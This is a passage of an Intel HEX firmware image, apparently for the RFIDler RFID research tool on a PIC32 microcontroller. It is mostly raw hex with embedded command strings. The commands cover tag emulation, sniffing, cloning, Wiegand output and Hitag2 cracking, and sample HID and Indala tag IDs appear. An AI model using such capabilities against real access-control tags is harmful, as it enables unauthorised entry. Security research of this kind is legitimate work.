019bc400f000000003000c2a38800c48fec\n:10e0a000029d023ca8fb4524544e410f0000000095\n:10e0b0000f004010000000008800c48f029d023c49\n:10e0c000b0fb4524544e410f0000000008004010f2\n:10e0d000000000008800c48f029d023cb8fb45246c\n:10e0e000544e410f000000005d014014000000008c\n:10e0f00001000424e6bb400f000000003000c2a372\n:10e10000029d023c3cec4424029d023cc0fb4524a1\n:10e110000413410f00000000029d023c3cec44242b\n:10e12000029d023cecfb45240413410f000000005b\n:10e13000029d023c3cec4424029d023c28fc452408\n:10e140000413410f00000000029d023c3cec4424fb\n:10e15000029d023c64fc45240413410f00000000b2\n:10e16000029d023c3cec4424029d023ca8fc452458\n:10e170000413410f00000000029d023c3cec4424cb\n:10e18000029d023c00fd45240413410f00000000e5\n:10e19000029d023c3cec4424029d023c54fd45247b\n:10e1a0000413410f00000000029d023c3cec44249b\n:10e1b000029d023ca8fd45240413410f000000000d\n:10e1c000029d023c3cec4424029d023cf0fd4524af\n:10e1d0000413410f00000000029d023c3cec44246b\n:10e1e000029d023c34fe45240413410f0000000050\n:10e1f000029d023c3cec4424029d023c78fe4524f6\n:10e200000413410f00000000029d023c3cec44243a\n:10e21000029d023cc0fe45240413410f0000000093\n:10e22000029d023c3cec4424029d023c10ff45242c\n:10e230000413410f00000000029d023c3cec44240a\n:10e24000029d023c5cff45240413410f00000000c6\n:10e25000029d023c3cec4424029d023cb4ff452458\n:10e260000413410f00000000029d023c3cec4424da\n:10e27000029d023c100045240413410f00000000e1\n:10e28000029d023c3cec4424029d023c6400452477\n:10e290000413410f00000000029d023c3cec4424aa\n:10e2a000029d023cb80045240413410f0000000009\n:10e2b000029d023c3cec4424029d023c0c0145249e\n:10e2c0000413410f00000000029d023c3cec44247a\n:10e2d000029d023c580145240413410f0000000038\n:10e2e000029d023c3cec4424029d023ca4014524d6\n:10e2f0000413410f00000000029d023c3cec44244a\n:10e30000029d023cf40145240413410f000000006b\n:10e31000029d023c3cec4424029d023c50024524f8\n:10e320000413410f00000000029d023c3cec442419\n:10e33000029d023cac0245240413410f0000000082\n:10e34000029d023c3cec4424029d023cf402452424\n:10e350000413410f00000000029d023c3cec4424e9\n:10e36000029d023c500345240413410f00000000ad\n:10e37000029d023c3cec4424029d023cac0345243b\n:10e380000413410f00000000029d023c3cec4424b9\n:10e39000029d023cf40345240413410f00000000d9\n:10e3a000029d023c3cec4424029d023c4004452476\n:10e3b0000413410f00000000029d023c3cec442489\n:10e3c000029d023c8c0445240413410f0000000010\n:10e3d000029d023c3cec4424029d023cd0044524b6\n:10e3e0000413410f00000000029d023c3cec442459\n:10e3f000029d023c140545240413410f0000000057\n:10e40000029d023c3cec4424029d023c68054524ec\n:10e410000413410f00000000029d023c3cec442428\n:10e42000029d023cb00545240413410f000000008a\n:10e43000029d023c3cec4424029d023cf80545242c\n:10e440000413410f00000000029d023c3cec4424f8\n:10e45000029d023c400645240413410f00000000c9\n:10e46000029d023c3cec4424029d023c840645246f\n:10e470000413410f00000000029d023c3cec4424c8\n:10e48000029d023cd80645240413410f0000000001\n:10e49000029d023c3cec4424029d023c240745249e\n:10e4a0000413410f00000000029d023c3cec442498\n:10e4b000029d023c740745240413410f0000000034\n:10e4c000029d023c3cec4424029d023cc4074524ce\n:10e4d0000413410f00000000029d023c3cec442468\n:10e4e000029d023c140845240413410f0000000063\n:10e4f000029d023c3cec4424029d023c5c08452405\n:10e500000413410f00000000029d023c3cec442437\n:10e51000029d023cb40845240413410f0000000092\n:10e52000029d023c3cec4424029d023c000945242f\n:10e530000413410f00000000029d023c3cec442407\n:10e54000029d023c3c0945240413410f00000000d9\n:10e55000029d023c3cec4424029d023c8809452477\n:10e560000413410f00000000029d023c3cec4424d7\n:10e57000029d023cd80945240413410f000000000d\n:10e58000029d023c3cec4424029d023c240a4524aa\n:10e590000413410f00000000029d023c3cec4424a7\n:10e5a000029d023c700a45240413410f0000000044\n:10e5b000029d023c3cec4424029d023cbc0a4524e2\n:10e5c0000413410f00000000029d023c3cec442477\n:10e5d000029d023cfc0a45240413410f0000000088\n:10e5e000029d023c3cec4424029d023c3c0b452431\n:10e5f0000413410f00000000029d023c3cec442447\n:10e60000029d023c840b45240413410f00000000ce\n:10e61000029d023c3cec4424029d023cc80b452474\n:10e620000413410f00000000029d023c3cec442416\n:10e63000029d023c0c0c45240413410f0000000015\n:10e64000029d023c3cec4424029d023c540c4524b7\n:10e650000413410f000000004015410f00000000ae\n:10e660008800c48f029d023c940c4524544e410ff7\n:10e67000000000001000401400000000010004240d\n:10e68000e6bb400f000000003000c2a3029d023c28\n:10e690003cec4424029d023ca40c45240413410f8d\n:10e6a0000000000021200000dff4400f0000000007\n:10e6b0004015410f000000008800c48f029d023cfd\n:10e6c000e40c4524544e410f0000000007004014a4\n:10e6d0000000000021200000e6bb400f0000000009\n:10e6e0003000c2a364f8400f000000008800c48f0f\n:10e6f000029d023cf40c4524544e410f00000000e2\n:10e70000070040140000000021200000e6bb400f7d\n:10e71000000000003000c2a377f8400f00000000a6\n:10e720008800c48f029d023c040d4524544e410fc5\n:10e73000000000002a004014000000000100042432\n:10e74000e6bb400f000000003000c2a3029d023c67\n:10e750003cec4424029d023ca40c45240413410fcc\n:10e760000000000000a0023cdc2440a000a0023c0d\n:10e77000dc5642249000428c06004010000000004d\n:10e7800000a0023cdc5642249400428c0600401457\n:10e790000000000021200000dff4400f0000000016\n:10e7a000ed79400b00000000212000003cf6400ff6\n:10e7b00000000000029d023ce0fa442400a0023c5c\n:10e7c000dc2445240413410f0000000000a0023c9b\n:10e7d000dc2440a0d08080af4015410f0000000035\n:10e7e0008800c48f029d023c140d45240e000624af\n:10e7f000ae55410f00000000300040140000000042\n:10e8000000a0023cdc5642249000428c06004010de\n:10e810000000000000a0023cdc5642249400428c20\n:10e820000800401400000000029d023c240d442416\n:10e8300019bc400f000000003000c2a32f7a400b2b\n:10e840000000000077f8400f000000008800c28f31\n:10e850000e00422421204000029d023c3cec452455\n:10e8600000a0023c7c6c46240357410f00000000ce\n:10e8700021184000010002240b0062140000000077\n:10e8800021200000e6bb400f000000003000c2a3c2\n:10e8900000a0023c7c6c442464f7400f00000000a0\n:10e8a0002f7a400b00000000029d023c30ed442412\n:10e8b00019bc400f000000003000c2a38800c48fc4\n:10e8c000029d023c400d4524544e410f00000000c3\n:10e8d000070040140000000021200000e6bb400fac\n:10e8e000000000003000c2a3f523410f000000002b\n:10e8f0008800c48f029d023c480d45240600062472\n:10e90000ae55410f0000000033004014000000002d\n:10e910008800c28f060043246000c22721206000c7\n:10e92000029d033c68fb65242130400000a0023cae\n:10e930007c6c47240357410f000000002118400061\n:10e94000020002241f006214000000006000c28f59\n:10e950002120400000a0023c7c6c452401000624dc\n:10e960001849410f000000000f0040100000000097\n:10e9700001000424e6bb400f000000003000c2a3e9\n:10e98000029d023c64ed442400a0023c7c6c4524c2\n:10e990000413410f000000004015410f000000006b\n:10e9a000767a400b00000000029d023c0cfb4424e0\n:10e9b00019bc400f000000003000c2a3767a400b63\n:10e9c00000000000029d023c84fb442419bc400f5f\n:10e9d000000000003000c2a33000c29318004014b1\n:10e9e000000000008800c48f029d023c50ec4524ca\n:10e9f000544e410f000000000500401000000000d0\n:10ea0000d4808393010002240b00621400000000f4\n:10ea100001000424e6bb400f000000008800c48f02\n:10ea20005065400f000000004015410f000000003d\n:10ea3000907a400b0000000034bc400f0000000042\n:10ea40009923410f00000000060040100000000064\n:10ea5000029d023c500d42243c00c2af9c7a400b08\n:10ea600000000000029d023ca8ec42243c00c2af22\n:10ea700000a0023cdc56422487004290060040146d\n:10ea800000000000029d023c0cf542242c8082af65\n:10ea9000b07a400b0000000000a0023cdc5642248b\n:10eaa000870042902118400000a0023c801803001b\n:10eab0004c714224211062000000428c2c8082aff5\n:10eac000d48083930100022411006214000000002e\n:10ead000029d023c3cec44243c00c58f0413410fd2\n:10eae000000000002c80828f029d033c3cec6424db\n:10eaf000212840000413410f00000000029d023c49\n:10eb00003cec44244000c58f0413410f000000007a\n:10eb10002110000021e8c0038400bf8f8000be8f59\n:10eb20008800bd270800e00300000000d8ffbd27d3\n:10eb30002400bfaf2000beaf21f0a00388bf023c7d\n:10eb4000505240ac88bf023c105240ac88bf023cdf\n:10eb5000505040ac88bf033c8050629001000424b8\n:10eb60000400827c805062a0f48180af00a0023c4f\n:10eb7000d88082afd880828f3412033c78566334b9\n:10eb8000000043acc559410f000000001000c2afa7\n:10eb900088bf023c0030428c0003427cff004230c0\n:10eba0001c00c2af1c00c28f09004014000000000e\n:10ebb00088bf023c00100324083043ac88bf023ced\n:10ebc0000030428c00084230fcff4014000000007e\n:10ebd0001c00c28f1400c2af81bf023c30f240acb7\n:10ebe00081bf023c99aa033c5566633430f243acc2\n:10ebf00081bf023c6655033caa99633430f243acb2\n:10ec000081bf023c0100032418f643ac81bf023ce3\n:10ec100010f642241800c2af1800c28f0000428cc8\n:08ec2000087b400b000000001e\n:020000040000fa\n:020000041d01dc\n:10ec28004f6666004f6e00004c6f77004869676852\n:10ec380000000000257300000700000008200800fd\n:10ec480048454c502000000048454c50000000004a\n:10ec580020202020257300004e6f74653a20272a53\n:10ec6800272070726570656e64656420746f206d0e\n:10ec780061696e2070726f6d707420696e6469636b\n:10ec88006174657320756e736176656420636f6e59\n:10ec9800666967206368616e6765730d0a00000026\n:10eca800000000003e200000414e414c4f475545b2\n:10ecb800200000002564000053657420544147205b\n:10ecc800747970652066697273742100496e766183\n:10ecd8006c6964206e756d626572206f6620736161\n:10ece8006d706c6573210000414e414c4f4755458e\n:10ecf8004e2000004150445520000000415049007a\n:10ed080041534b2000000000257320256c6420250a\n:10ed1800752025750000000053656e6420666169e2\n:10ed28006c65642100000000496e76616c6964209e\n:10ed3800706172616d65746572732100415452008f\n:10ed48000d0a00004661696c65642100415554480c\n:10ed580000000000202573202575000025730d0a8a\n:10ed68000000000041757468206661696c65642163\n:10ed7800000000004155544f504f54004155544f26\n:10ed88005241544500000000547279696e6720288a\n:10ed9800666f72206265737420726573756c747324\n:10eda80020757365206e6f6e2d7a65726f205359ca\n:10edb8004e432062697473293a0d0a0044617461f4\n:10edc80020726174652069732052462f25640d0aec\n:10edd800000000004155544f52554e004155544fc4\n:10ede80052554e204f4646004155544f52554e20dd\n:10edf800000000004155544f5441470042494e54c9\n:10ee08004f48455820000000424c00005377697471\n:10ee18006368696e6720746f20424f4f544c4f41ae\n:10ee2800444552206d6f64652e2e2e0d0a0d0a0082\n:10ee3800434c4900434c4f434b482000256c660027\n:10ee4800434c4f434b50200025752025750000008a\n:10ee5800434c4f434b542000256c6400434c4f4ea9\n:10ee680045000000434f494c2048494748000000ee\n:10ee7800434f494c204c4f5700000000434f4e462b\n:10ee880049470000434f4e564552542000000000a9\n:10ee9800565461672074797065206e6f74207365ad\n:10eea80074210000434f50590000000025732025ad\n:10eeb8007300000044454255470000004445425550\n:10eec8004720000025690000496e76616c6964205e\n:10eed80044454255472070696e210000444542551b\n:10eee800474f4e200000000044454255474f4646d4\n:10eef800200000004976616c6964204c454421007b\n:10ef0800444554454354000057616974696e67204d\n:10ef1800666f722065787465726e616c20636c6fc1\n:10ef2800636b202868697420616e79206b6579208d\n:10ef3800746f2061626f7274292e2e2e0d0a0000e4\n:10ef4800444f4f5220434c4f53450000444f4f52bb\n:10ef5800204f50454e00000044554d502000000001\n:10ef6800496e76616c696420626c6f636b206e75a4\n:10ef78006d62657228732921000000005265616482\n:10ef8800206661696c6564210000000025643a20f0\n:10ef980000000000496e76616c696420626c6f63e2\n:10efa8006b206e756d626572287329210d0a000049\n:10efb800454d552000000000546167207479706544\n:10efc800206e6f742073657421000000454d554c08\n:10efd80041544f5200000000454d554c41544f528a\n:10efe800204247004372656174652076616c6964ec\n:10eff800205654414720666972737421000000004e\n:10f00800496e76616c69642055494421000000000e\n:10f01800454e434f44452000456e636f6465206646\n:10f0280061696c65642100005654414720656e6330\n:10f038006f6465206661696c656421004558414dbf\n:10f04800504c45530000000052415720456d756ce7\n:10f058006174696f6e206578616d706c65733a0dc7\n:10f068000a0000000d0a2020454d3458303220494e\n:10f0780044202730303030444334343230270d0aae\n:10f088000d0a000020202020534554204d414e20d9\n:10f098004f4e0d0a000000002020202041534b2035\n:10f0a80046463830303030364630393439343036e8\n:10f0b800203830302036342032300d0a000000006d\n:10f0c8000d0a2020556e6971756520494420273046\n:10f0d800444541444245454630270d0a0d0a000083\n:10f0e8002020202041534b20464644433041374599\n:10f0f80045454637383343302038303020363420c1\n:10f1080032300d0a000000000d0a20204849442032\n:10f1180050726f783236205369746520436f646586\n:10f12800203132332049442034353637380d0a0d22\n:10f138000a00000020202020534554204d414e2035\n:10f148004f46460d0a0000002020202046534b2041\n:10f15800314435353539353535353639414136411e\n:10f168003639363541364136203830302035302072\n:10f17800382031302032300d0a0000000d0a2020de\n:10f18800496e64616c612028656e6372797074657c\n:10f1980064293a0d0a0d0a002020202050534b31d3\n:10f1a8002030303030303030323541413941324210\n:10f1b80030373446313133413436343545323042d4\n:10f1c8003741373932423833314444334335384490\n:10f1d80032374137323742324220383030203332ea\n:10f1e80020322032300d0a000d0a0d0a2054414702\n:10f1f80020456d756c6174696f6e206578616d70fe\n:10f208006c65730d0a0000000d0a2020454d345826\n:10f218003032204944202741424344453132333477\n:10f2280035270d0a0d0a00002020202053455420c0\n:10f2380054414720454d345830320d0a0000000033\n:10f2480020202020454d552041424344453132334a\n:10f2580034350d0a000000000d0a2020556e697132\n:10f2680075652049442027303043414645463030b3\n:10f2780044270d0a0d0a0000202020205345542061\n:10f2880054414720554e495155450d0a000000008c\n:10f2980020202020454d55203030434146454630fa\n:10f2a80030440d0a000000000d0a2020484944207f\n:10f2b80050726f783236205369746520436f6465e5\n:10f2c800203235342049442030303636360d0a0d88\n:10f2d8000a00000020202020534554205441472094\n:10f2e80048494432360d0a0020202020454d55203b\n:10f2f80032353430303636360d0a00000d0a0d0a24\n:10f308002052574420636f6d6d616e64206578618b\n:10f318006d706c65730d0a00203d3d3d3d3d3d3de2\n:10f328003d3d3d3d3d3d3d3d3d3d3d3d3d0d0a00a5\n:10f338000d0a2020486974616732205354415254a1\n:10f348005f415554480d0a0d0a0000002020202076\n:10f3580050574d2038303020343030302034303061\n:10f368003020313820323620350d0a002020202068\n:10f378005257442031313030300d0a0046534b206b\n:10f3880000000000257320256c6420257520257554\n:10f39800202575202575000053656e64696e672009\n:10f3a800257320004652455155454e4359000000eb\n:10f3b80025640d0a00000000484558544f42494e44\n:10f3c800200000004849544147322d435241434be5\n:10f3d800200000005441472074797065206d7573d2\n:10f3e80074206265204849544147322100000000da\n:10f3f80072656164206572726f72210048495441d8\n:10f4080047322d4b455953545245414d2000000079\n:10f418004849544147322d52454144455200000065\n:10f4280053000000344634453444343934423532cc\n:10f43800000000004849544147322d434c45415291\n:10f4480053544f524544544147530000484954418e\n:10f4580047322d434f554e5453544f52454454410f\n:10f46800475300004849544147322d4c495354539f\n:10f47800544f5245445441475300000048495441b1\n:10f4880047322d524e47494e49542000484954416d\n:10f4980047322d444543525950544845582000009e\n:10f4a8004849544147322d444543525950544249e2\n:10f4b8004e2000004c45442000000000496e766153\n:10f4c8006c6964204c454421000000004c45444fc1\n:10f4d8004e2000004c45444f464620004c4f4144c6\n:10f4e800000000004c4f47494e0000004c6f676910\n:10f4f8006e206661696c65642100000050494e47c2\n:10f5080000000000524649446c657200504f545345\n:10f5180000000000504f5444454320002563202537\n:10f5280064000000504f542064656372656d656e19\n:10f5380074206661696c656421000000496e76611b\n:10f548006c696420706172616d6574657273000026\n:10f55800504f54494e432000504f5420696e6372f7\n:10f56800656d656e74206661696c656421000000d4\n:10f57800696e76616c696420706172616d6574652d\n:10f5880072730000504f545345542000504f54207c\n:10f59800736574206661696c65642100496e7661e3\n:10f5a8006c696420706172616d6574657221000018\n:10f5b800504f545345544e5620000000504f54535a\n:10f5c8004554562000000000256320256c66000085\n:10f5d80050534b3120000000257320256c642025f2\n:10f5e800752025752025750050574d200000000016\n:10f5f800257520257520257520257520257520253c\n:10f6080075202575202575005245414420000000cd\n:10f6180056546167206e6f7420636f6d70617469f2\n:10f62800626c6521000000005245414445520000cb\n:10f638005441472074797065206e6f742073657427\n:10f64800210000005245424f4f54000052544300dd\n:10f65800253032782f253032782f25303278202502\n:10f668003032783a253032783a2530327800000046\n:10f6780052574420000000004661696c65642120ef\n:10f6880050574d20706172616d6574657273206e9c\n:10f698006f7420736574206f7220696e76616c696f\n:10f6a80064206461746121005341564500000000e4\n:10f6b800566572696679206661696c656421000027\n:10f6c80053454c454354000053656c65637420668c\n:10f6d80061696c65642100005345542042495048d3\n:10f6e800415345204f46460053455420424950480f\n:10f6f800415345204f4e000053455420424954532e\n:10f708002000000025750000496e76616c69642050\n:10f718006461746120626974732100005345542048\n:10f7280046432000496e76616c6964204643207028\n:10f738006572696f6421000053455420494e56454f\n:10f748005254204f4646000053455420494e5645d2\n:10f758005254204f4e000000534554204d414e4313\n:10f76800484553544552204f4646000053455420bf\n:10f778004d414e43484553544552204f4e000000da\n:10f78800534554204d4f44200000000041534b0086\n:10f7980046534b0050534b3100000000556e6b6ec2\n:10f7a8006f776e206d6f64756c6174696f6e20730e\n:10f7b8006368656d652100005345542050534b2004\n:10f7c80000000000534554205241544520000000d9\n:10f7d800496e76616c696420646174612072617439\n:10f7e800652100005345542052455045415420009e\n:10f7f800496e76616c6964207265706574697469b4\n:10f808006f6e732100000000534554205355423059\n:10f818002000000053455420535542312000000079\n:10f828005345542053594e43424954532000000035\n:10f83800496e76616c6964206e756d626572206fc1\n:10f8480066206269747321005345542053594e430e\n:10f85800000000002575202558000000496e7661db\n:10f868006c69642073796e63206279746521000085\n:10f87800534554205441472000000000556e6b6edc\n:10f888006f776e205441472074797065210000001d\n:10f89800534554205654414720000000534e4946d2\n:10f8a8004645520048697420616e79206b6579205d\n:10f8b800746f2073746f7020736e69666665720d5d\n:10f8c8000a000000534e4946462d50574d2043002c\n:10f8d800534e4946462d50574d204c00534e4946ed\n:10f8e800462d50574d205300534e4946462d5057ec\n:10f8f8004d000000202564202564202564000000b8\n:10f9080057616974696e6720666f722050574d2081\n:10f918002868697420616e79206b657920746f207e\n:10f9280061626f72742f7265706f7274292e2e2e39\n:10f938000d0a000053544f50000000005441475333\n:10f948000000000054434f4e464947004e6f742054\n:10f95800737570706f7274656420666f7220746856\n:10f968006973207461672074797065210000000054\n:10f97800544553542d484954414700000d0a6265c7\n:10f988006e63686d61726b20262076657269667990\n:10f9980020486974616720322063727970746f201f\n:10f9a800696d706c656d656e746174696f6e000069\n:10f9b80050617373000000004641494c000000008c\n:10f9c8000d0a43727970746f2073656c66207465d4\n:10f9d8007374206f6620636f72726563746e6573eb\n:10f9e80073203d20257300000d0a48697461672063\n:10f9f800322063727970746f2c20696e6974202bc1\n:10fa08002067656e2033322062697473202d20755b\n:10fa1800733a20256c6400000d0a486974616720f8\n:10fa2800322063727970746f2c2067656e206e6562\n:10fa3800772033322062697473206f6e6c79202dc1\n:10fa48002075733a20256c64000000000d0a48698f\n:10fa580074616720322063727970746f2c20696e2c\n:10fa68006974202b2067656e2033322062697473b5\n:10fa78002c207831303030202d2075733a20256cb9\n:10fa8800640d0a00544553542d5257440000000099\n:10fa9800544553542d5343004154523a200000001a\n:10faa800544553542d534400544553542d54494df3\n:10fab80045520000544553542d57494547414e443b\n:10fac80000000000544553542d57494547414e44c2\n:10fad8002d52454144200000526561643a20257347\n:10fae8000d0a0000496e76616c6964206465627570\n:10faf800672070696e210000545245534554000038\n:10fb0800202573005772697465206661696c6564a5\n:10fb1800210000005452495354415445204f464651\n:10fb2800000000005452495354415445204f4e00a0\n:10fb38005457495045000000554944005645525312\n:10fb4800494f4e00253034642d626574610d0a00fa\n:10fb5800565441470000000056575249544520006a\n:10fb68002575202573000000565441472077726997\n:10fb78007465206661696c6564210000496e766170\n:10fb88006c696420626c6f636b206e756d62657260\n:10fb9800206f72206e6f2064617461210000000084\n:10fba800574952494e4700005749524553000000f3\n:10fbb80050494e530000000020203d3d3d2057494c\n:10fbc80052494e473a205049433332205049433333\n:10fbd800324d58373935463531324c203d3d3d0d93\n:10fbe8000a000000202050494e204e554d424552f3\n:10fbf800202f204e414d452020202020202020204d\n:10fc080046554e4354494f4e202020202020202086\n:10fc180020202020202020205553450d0a000000d8\n:10fc280020203d3d3d3d3d3d3d3d3d3d3d3d3d3d36\n:10fc38003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dec\n:10fc48003d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3ddc\n:10fc58003d3d3d3d3d3d3d0d0a0000002020313336\n:10fc680020202020202020202020205f4d434c529f\n:10fc7800202020202020202052455345545f425503\n:10fc880054544f4e202020202020202020202020a7\n:10fc98005265736574202f205650500d0a000000dd\n:10fca80020203539202020202020202020202052ec\n:10fcb8004132202020202020202020204943204697\n:10fcc80072657175656e637920494e202020202069\n:10fcd800202020204d65617375726520496e64751a\n:10fce8006374616e63652f43617061636974616eeb\n:10fcf80063650d0a000000002020363020202020f7\n:10fd08002020202020202052413420202020202084\n:10fd1800202020204f522d494e2d412020202020e8\n:10fd28002020202020202020202020204f757470a3\n:10fd380075742066726f6d205363686d69747420e2\n:10fd48007472696767657220410d0a002020363198\n:10fd58002020202020202020202020524135202033\n:10fd680020202020202020204f522d494e2d422097\n:10fd7800202020202020202020202020202020207b\n:10fd88004f75747075742066726f6d205363686d5b\n:10fd9800697474207472696767657220420d0a007d\n:10fda80020203637202020202020202020202052ec\n:10fdb8004131352020202020202020204c45443669\n:10fdc800202020202020202020202020202020202b\n:10fdd8002020202055736572204c454420576869bf\n:10fde80074650d0a000000002020363620202020ef\n:10fdf8002020202020202052413134202020202083\n:10fe08002020202052454c4159202020202020200d\n:10fe1800202020202020202020202020446f6f72c6\n:10fe28002052656c61790d0a0000000020203236ee\n:10fe380020202020202020202020205242362f5011\n:10fe480047432020202020205047432020202020e6\n:10fe5800202020202020202020202020202020209a\n:10fe680050726f6772616d20436c6f636b0d0a008f\n:10fe7800202032372020202020202020202020521f\n:10fe880042372f5047443220202020205047443208\n:10fe9800202020202020202020202020202020205a\n:10fea8002020202050726f6772616d204461746158\n:10feb80020320d0a000000002020333320202020ab\n:10fec80020202020202020524239202020202020bd\n:10fed80020202020532f4320564343202020202039\n:10fee80020202020202020202020202049534f2d72\n:10fef8003738313620536d617274636172642056ed\n:10ff080043430d0a00000000202033352020202024\n:10ff180020202020202020524231312f414e3131e3\n:10ff280020202020416e616c6f67756520494e2046\n:10ff380020202020202020202020202052656164bd\n:10ff4800657220616e616c6f6775652064617461ac\n:10ff58000d0a0000202034312020202020202020dd\n:10ff6800202020524231322f414e31322020202091\n:10ff7800416e616c6f677565204c4f5720494e2064\n:10ff88002020202020202020566f6c746167652077\n:10ff980064697669646572204c4f5720616e616ca4\n:10ffa8006f67756520646174610d0a002020343222\n:10ffb8002020202020202020202020524231332fb2\n:10ffc800414e313320202020416e616c6f6775658a\n:10ffd800204849474820494e202020202020202022\n:10ffe800566f6c7461676520646976696465722010\n:10fff8004849474820616e616c6f67756520646188\n:020000041d02db\n:1000080074610d0a000000002020303620202020d6\n:100018002020202020202052433120202020202072\n:1000280020202020444542554731202020202020f0\n:100038002020202020202020202020204c6f6769ad\n:100048006320416e616c79736572204465627567df\n:100058002050696e20310d0a000000002020303742\n:100068002020202020202020202020524332202021\n:10007800202020202020202044454255473220209f\n:100088002020202020202020202020202020202068\n:100098004c6f67696320416e616c797365722044a7\n:1000a800656275672050696e20320d0a00000000f5\n:1000b80020203038202020202020202020202052de\n:1000c8004333202020202020202020204445425552\n:1000d80047332020202020202020202020202020de\n:1000e800202020204c6f67696320416e616c797312\n:1000f80065722044656275672050696e20330d0a69\n:10010800000000002020303920202020202020203e\n:100118002020205243342f534449312020202020ce\n:1001280053445f434152445f5258202020202020ee\n:10013800202020202020202053504920525820667b\n:100148006f7220534420436172640d0a000000005e\n:10015800202037322020202020202020202020523c\n:1001680044302f53444f31202020202053445f43f4\n:100178004152445f54582020202020202020202055\n:100188002020202053504920545820666f72205355\n:100198004420436172640d0a0000000020203736b5\n:1001a80020202020202020202020205244312020e0\n:1001b8002020202020202020532f4320434c4b2058\n:1001c8002020202020202020202020202020202027\n:1001d80049534f2d3738313620536d61727463613e\n:1001e800726420436c6f636b0d0a00002020373760\n:1001f800202020202020202020202052443220208f\n:10020800202020202020202057494547414e445f88\n:10021800315f4f55542020202020202020202020ee\n:1002280057696567616e642031202f20436c6f63c6\n:100238006b20262044617461202d20436c6f636b12\n:10024800204f55540d0a0000202037382020202048\n:10025800202020202020205244332020202020202d\n:100268002020202057494547414e445f305f4f5575\n:100278005420202020202020202020205769656736\n:10028800616e642030202f20436c6f636b20262022\n:1002980044617461202d2044617461204f55540dd0\n:1002a8000a00000020203831202020202020202093\n:1002b80020202052443420202020202020202020cc\n:1002c8005245414445522d434c4f434b202020205a\n:1002d8002020202020202020526561646572204360\n:1002e8004f494c20434c4f434b0d0a0020203832d5\n:1002f800202020202020202020202052443520208b\n:10030800202020202020202057494547414e445f87\n:10031800305f494e2020202020202020202020202f\n:1003280057696567616e642030202f20436c6f63c6\n:100338006b20262044617461202d20446174612063\n:10034800494e0d0a000000002020383320202020cc\n:100358002020202020202052443620202020202029\n:100368002020202057494547414e445f315f494e80\n:100378002020202020202020202020205769656769\n:10038800616e642031202f20436c6f636b20262020\n:100398004461746120202d20436c6f636b20494eab\n:1003a8000d0a000020203638202020202020202080\n:1003b80020202052443820202020202020202020c7\n:1003c8005245414445522d4441544120202020208b\n:1003d800202020202020202052656164657220435f\n:1003e8004f494c20444154410d0a00002020363921\n:1003f80020202020202020202020205244392f5f38\n:10040800535331202020202053445f434152445ffe\n:10041800535320202020202020202020202020206e\n:100428005350492053656c656374205344204361dd\n:1004380072640d0a000000002020373020202020a0\n:1004480020202020202020524431302f53434b318c\n:100458002020202053445f434152445f434c4b20ab\n:1004680020202020202020202020202053504920f8\n:10047800436c6f636b20666f722053442043617234\n:10048800640d0a0020203731202020202020202041\n:1004980020202052443131202020202020202020dc\n:1004a8004c454437202020202020202020202020b8\n:1004b80020202020202020204572726f72204c4579\n:1004c80044205265640d0a0020203739202020205e\n:1004d800202020202020205244313220202020209b\n:1004e80020202020434c4f434b2d534e4946462055\n:1004f800202020202020202020202020436c6f63f3\n:100508006b20536e6966660d0a000000202034389f\n:100518002020202020202020202020524431352057\n:1005280020202020202020205f504f545f53485522\n:1005380054444f574e2020202020202020202020c7\n:10054800506f74656e74696f6d6574657220706f35\n:1005580077657220636f6e74726f6c0d0a0000000d\n:100568002020393320202020202020202020205225\n:100578004530202020202020202020204c454434b5\n:100588002020202020202020202020202020202063\n:1005980020202020456d756c617465204c454420f1\n:1005a8005265640d0a0000002020393420202020e4\n:1005b80020202020202020524531202020202020cb\n:1005c800202020204c45443320202020202020209b\n:1005d800202020202020202020202020436c6f6312\n:1005e8006b204c45442059656c6c6f770d0a0000f0\n:1005f8002020393820202020202020202020205290\n:100608004532202020202020202020204c45443224\n:1006180020202020202020202020202020202020d2\n:1006280020202020436f6d6d73204c45442057686f\n:100638006974650d0a000000202039392020202027\n:100648002020202020202052453320202020202038\n:10065800202020204c45443120202020202020200c\n:1006680020202020202020202020202055534220f8\n:100678004c454420477265656e0d0a0020203033d2\n:1006880020202020202020202020205245352020f6\n:100698002020202020202020444542554734202077\n:1006a8002020202020202020202020202020202042\n:1006b8004c6f67696320416e616c79736572204481\n:1006c800656275672050696e20340d0a00000000cd\n:1006d80020203034202020202020202020202052bc\n:1006e8004536202020202020202020205553455208\n:1006f8005f425554544f4e20202020202020202097\n:10070800202020205573657220646566696e6564d3\n:1007180020627574746f6e0d0a0000002020303559\n:100728002020202020202020202020524537202053\n:100738002020202020202020424f4f544c4f41445d\n:1007480045525f425554544f4e20202020202020ef\n:10075800426f6f746c6f616465722073656c65635a\n:100768007420627574746f6e0d0a00002020313891\n:100778002020202020202020202020524538202002\n:100788002020202020202020532f43205253542063\n:100798002020202020202020202020202020202051\n:1007a80049534f2d3738313620536d617274636168\n:1007b80072642052657365740d0a00002020313977\n:1007c80020202020202020202020205245392020b1\n:1007d80020202020202020205245414445522d43ee\n:1007e8004c4f434b2d454e41424c45202020202064\n:1007f8005472692d537461746520636c6f636b2048\n:1008080073656c6563740d0a00000000202038379a\n:100818002020202020202020202020524630202068\n:10082800202020202020202053445f434152445f51\n:100838004445542020202020202020202020202033\n:1008480053442043617264204465746563740d0adf\n:1008580000000000202038382020202020202020e0\n:100868002020205246312020202020202020202017\n:1008780053445f434152445f57502020202020209a\n:10088800202020202020202053442043617264200f\n:1008980057726974652050726f7465637420287587\n:1008a8006e75736564290d0a00000000202035323a\n:1008b80020202020202020202020205246322020c6\n:1008c8002020202020202020532f43205258202051\n:1008d8002020202020202020202020202020202010\n:1008e80049534f2d3738313620536d617274636127\n:1008f80072642052580d0a00202035312020202013\n:10090800202020202020205246332f55534249448e\n:1009180020202020555342494420202020202020f8\n:10092800202020202020202020202020555342490c\n:10093800440d0a00202034392020202020202020a7\n:100948002020205246342f53444934202020202090\n:100958005350493420494e20202020202020202098\n:100968002020202020202020506f74656e74696f2d\n:100978006d65746572204461746120494e0d0a00ea\n:100988002020353020202020202020202020205208\n:1009980046352f53444f34202020202053504934cb\n:1009a800204f5554202020202020202020202020a7\n:1009b80020202020506f74656e74696f6d657465b2\n:1009c800722044617461204f55540d0a00000000e4\n:1009d80020203533202020202020202020202052b5\n:1009e800463820202020202020202020532f43205c\n:1009f8005458202020202020202020202020202083\n:100a08002020202049534f2d3738313620536d612f\n:100a18007274636172642054580d0a0020203430c7\n:100a28002020202020202020202020524631322f34\n:100a38005f535334202020205f5350493420534cb7\n:100